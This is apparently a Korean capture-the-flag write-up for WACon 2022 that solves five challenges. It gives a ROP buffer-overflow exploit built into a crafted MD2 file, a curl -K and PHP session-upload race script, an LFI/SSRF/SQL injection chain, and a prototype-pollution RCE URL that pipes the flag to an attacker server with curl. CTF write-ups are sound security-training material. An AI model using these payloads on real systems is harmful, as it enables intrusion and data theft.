5 min read

[KR] 2022 wacon writeup

Table of Contents

towers-of-hanoi

Cํƒ€์›Œ์— ์žˆ๋Š” ๋ชจ๋“  ๋””์Šคํฌ๋ฅผ Aํƒ€์›Œ๋กœ ์˜ฎ๊ธด ํ›„

๊ฐ€์žฅ ํฐ ๋””์Šคํฌ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด์„œ ์ž‘์€๋””์Šคํฌ๊นŒ์ง€ A, B ํƒ€์›Œ์— ์žˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๊ณ 

์žˆ๋‹ค๋ฉด Cํƒ€์›Œ๋กœ ์˜ฎ๊ฒจ์ฃผ๋ฉด ๋œ๋‹ค.

from pwn import *

def solver(tower, maxDisk):
    answer = ''
    # First move all disk in 3 tower
    for i in tower[2]:
        answer += 'CA'
        tower[0] = [tower[2][0]] + tower[0]
        tower[2] = tower[2][1:]

    print(tower)

    for curDisk in range(maxDisk, 0, -1):
        print('Move %d' % curDisk)
        if curDisk in tower[0]:
            while True:
                if tower[0][0] == curDisk:
                    # move top disk 1->3
                    answer += 'AC'
                    tower[2] = [tower[0][0]] + tower[2]
                    tower[0] = tower[0][1:]
                    break
                else:
                    # move top disk 1->2
                    answer += 'AB'
                    tower[1] = [tower[0][0]] + tower[1]
                    tower[0] = tower[0][1:]
                
        elif curDisk in tower[1]:
            while True:
                if tower[1][0] == curDisk:
                    # move top disk 2->3
                    answer += 'BC'
                    tower[2] = [tower[1][0]] + tower[2]
                    tower[1] = tower[1][1:]
                    break
                else:
                    # move top disk 2->1
                    answer += 'BA'
                    tower[0] = [tower[1][0]] + tower[0]
                    tower[1] = tower[1][1:]
        else:
            pass
    print(tower)
    return answer


p = remote('175.123.252.156', 9999)
p.recvuntil(': ')
d = p.recvline()[:-1]
tower = d.split(',')
tower = list(map(lambda x:list(x), tower))
tower = list(map(lambda x: list(map(lambda y:int(y), x)), tower))
p.sendlineafter('> ', solver(tower, 3))

p.recvuntil(': ')
d = p.recvline()[:-1]
tower = d.split(',')
tower = list(map(lambda x:list(x), tower))
tower = list(map(lambda x: list(map(lambda y:int(y), x)), tower))
p.sendlineafter('> ', solver(tower, 5))

p.recvuntil(': ')
d = p.recvline()[:-1]
tower = d.split(',')
tower = list(map(lambda x:list(x), tower))
tower = list(map(lambda x: list(map(lambda y:int(y), x)), tower))
p.sendlineafter('> ', solver(tower, 9))


p.interactive()

Flag : WACon{y0u_crushed_th3_tow3rs}

babystack2022

์˜ฌ๋ ค์ค€ ๋งํฌ๋Œ€๋กœ ๋ฐ”๋กœ BOF๊ฐ€ ์ผ์–ด๋‚œ๋‹ค.

์ค‘๊ฐ„์— BOF๋กœ ๋ฎํžˆ๋Š” ๋ณ€์ˆ˜๋“ค์— ์œ ์˜ํ•ด์„œ RIP control์„ ํ•˜๋ฉด ๋œ๋‹ค.

from pwn import *

syscall = 0x4e29b4
binsh = 0x8B0298
poprdi = 0x000000000041ab0f
poprsi = 0x0000000000587d19
poprdx = 0x00000000005b0972
poprax = 0x00000000005a3cf1
open_ = 0x419680
read = 0x419D50

pay = b"A" * 0x20

pay += p64(poprdi) + p64(binsh)
pay += p64(poprsi) + p64(0x8b02d0)
pay += p64(poprdx) + p64(0)
pay += p64(poprax) + p64(59)
pay += p64(syscall)


'''
pay += p64(poprdi) + p64(binsh)
pay += p64(poprsi) + p64(0)
pay += p64(poprdx) + p64(0)
pay += p64(poprax) + p64(59)
pay += p64(syscall)
'''

pay += "A"*(0x2080 - len(pay))
#pay += b"B"*0x1000
pay += p32(844121161) # magic
pay += p32(8) # version
pay += p32(0) # skinWidth
pay += p32(0) # skinHeight
pay += p32(0x6000) # frameSize
pay += p32(0) # numSkins
pay += p32(1) # numVertices
pay += p32(1) # numTexcoords
pay += p32(1) # numTriangles
pay += p32(0) # numGlcommands
pay += p32(2) # numFrames
pay += p32(0) # offsetSkins
pay += p32(0) # offsetTexcoords
pay += p32(0) # offsetTriangles
pay += p32(0x3000) # offsetFrames
pay += p32(0) # offsetGlCommands
pay += p32(0) # offsetEnd
pay += b"\x00"*36
pay += p64(0x8B0290) # frame
pay += p64(0x8B30C0) # triangles
pay += p64(0x8B30C0) # textureCoords
pay += "\x00"*28
pay += p64(0) # index
pay += "D"*0x24
pay += "E"*0x8 # sfp
pay += "F"*0x8 # ret


md2header = b""
md2header += p32(844121161) # magic
md2header += p32(8) # version
md2header += p32(0) # skinWidth
md2header += p32(0) # skinHeight
md2header += p32(len(pay)) # frameSize
md2header += p32(0) # numSkins
md2header += p32(1) # numVertices
md2header += p32(1) # numTexcoords
md2header += p32(1) # numTriangles
md2header += p32(0) # numGlcommands
md2header += p32(1) # numFrames
md2header += p32(0) # offsetSkins
md2header += p32(0) # offsetTexcoords
md2header += p32(0) # offsetTriangles
md2header += p32(68) # offsetFrames
md2header += p32(0) # offsetGlCommands
md2header += p32(0) # offsetEnd
md2header += pay

md2header += p64(0x00000000005a881c) # 0x8B0298
md2header += '/bin/cat' + p64(0) # 0x8B02a0
md2header += './flag_f8acf1b8ff0ec6bc82cff333029535e7' + '\x00'*1 # 0x8B02a8

md2header += p64(0x8B0298) # 0x8B02b8
md2header += p64(0x8b02a8) # 0x8B02b8
md2header += p64(0) # 0x8B02b8


with open("exp2.md2", "wb") as f:
    f.write(md2header)

p = process(['./MeshConverter', './exp2.md2', '/dev/null'])
#p = remote('114.203.209.118', 8080)
#p.send(md2header)
#p.send(b'\4')
#p.shutdown()
p.interactive()

์‹คํ–‰ ํ›„ ์ƒ์„ฑ๋œ exp2.md2 ํŒŒ์ผ์„ ์„œ๋ฒ„์— cat exp2.md2 | nc ~~ ์‹์œผ๋กœ ๋ณด๋‚ด์ฃผ๋ฉด ๋œ๋‹ค.

Flag : WACon{gjslkfjkalsdfjkladsjkfl}

Kuncษ›lan

fun_004ded7246 parameter์—์„œ LFI๋ฅผ ํ†ตํ•ด์„œ ์ฝ”๋“œ๋ฅผ ์–ป๋Š”๋‹ค.

์–ป๊ณ  ๋‚˜์˜จ SALT + โ€œguestโ€ ํ˜•ํƒœ๋ฅผ integer range brute forcing๋ฅผ ํ†ตํ•ด์„œ SALT๋ฅผ ๊ตฌํ•˜๊ณ  SALT + โ€œadminโ€ ํ˜•ํƒœ์˜ ํ•ด์‰ฌ๋ฅผ ์–ป์–ด ์ž„์˜์š”์ฒญ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

SALT = 311279614

๊ทธ ์ดํ›„ ๋‚ด ์„œ๋ฒ„๋กœ ์˜๊ณ , ๋‚ด ์„œ๋ฒ„์—์„œ๋Š” header(โ€˜Location: gopher://localhost:80/~~โ€™) ์‹์œผ๋กœ ๋Œ๋ ค SSRF๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ์ดํ›„ JWT๋ฅผ ๋งž์ถฐ์„œ SQLi๋ฅผ ํ•ด์„œ PART1, 2 ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์œผ๋ฉด ๋œ๋‹ค.

Flag : WACon{Try_using_Gophhhher_ffabcdbc}

yet_another_baby_web

CURL์—๋Š” -K ๋ผ๋Š” ์˜ต์…˜์ด ์žˆ๋‹ค. ํ•ด๋‹น ์˜ต์…˜์€ ํŒŒ์ผ๋กœ ๋ถ€ํ„ฐ config๋ฅผ ์ฝ์–ด curl์„ ์‹คํ–‰์‹œ์ผœ์ฃผ๋Š”๋ฐ ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์ œํ•œ๋œ ์กฐ๊ฑด์†์—์„œ ์ž„์˜ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

์ž„์˜ ํŒŒ์ผ์€ PHP_SESSION_UPLOAD_PROGRESS๋กœ ์˜ฌ๋ ธ๋‹ค.

import requests
import threading

headers = {
    'Connection':'close',
    'Cookie':'PHPSESSID=asdqwer'
}

f = open('payload','rb') 
payload = f.read()
padding = b'a'*(8000000-1)
f.close()

data={
    'PHP_SESSION_UPLOAD_PROGRESS':payload,
}

def run():
  requests.post(url='http://110.10.147.146:8000/',cookies={'PHPSESSID':'aqq'}, files={"file":("filename",padding)},data=data,headers=headers)

for i in range(10):
  T = threading.Thread(target=run,args=())
  T.start()

while True:
  print('go')
  res = requests.post(url='http://110.10.147.146:8000/', cookies={'PHPSESSID':'zxcv'}, data={'url': '-K/var/lib/php/sessions/sess_asdqwer'})
  print(res.text)

Flag : WACon{1s_this_w3b_0r_m1sc_IDK}

ppower

Prototype Pollution์„ ํ†ตํ•ด์„œ execSync, spawnSync์˜ option์„ ์ ์ ˆํžˆ ์กฐ์ ˆํ•  ์ˆ˜ ์žˆ๋‹ค.

์—ฌ๊ธฐ์„œ shell์„ ๋ณ€๊ฒฝํ•จ์œผ๋กœ ์ž„์˜ ๋ช…๋ น์ด ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๊ณ , input, stdio๋ฅผ ํ†ตํ•ด์„œ ํ•ด๋‹น ๋ช…๋ น์— stdinํ˜•ํƒœ๋กœ ๋ช…๋ น์„ ๋„ฃ์–ด์ค„ ์ˆ˜ ์žˆ๋‹ค.

shell = debugfs, input = ![์ž„์˜๋ช…๋ น], stdio=pipe๋ฅผ ์ค˜์„œ RCE๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

http://175.123.252.136:8080/answer?constructor[prototype][flagForEveryone][flagForEveryone]=1&constructor[prototype][shell]=/sbin/debugfs&constructor[prototype][stdio]=pipe&constructor[prototype][input]=!curl%20http://MY_SERVER/$(/realreadflag%20flagflagflag)%0aq%0a&answer=It%27s-none-of-your-business

Flag : WACon{node**pp=rce/*:P*/}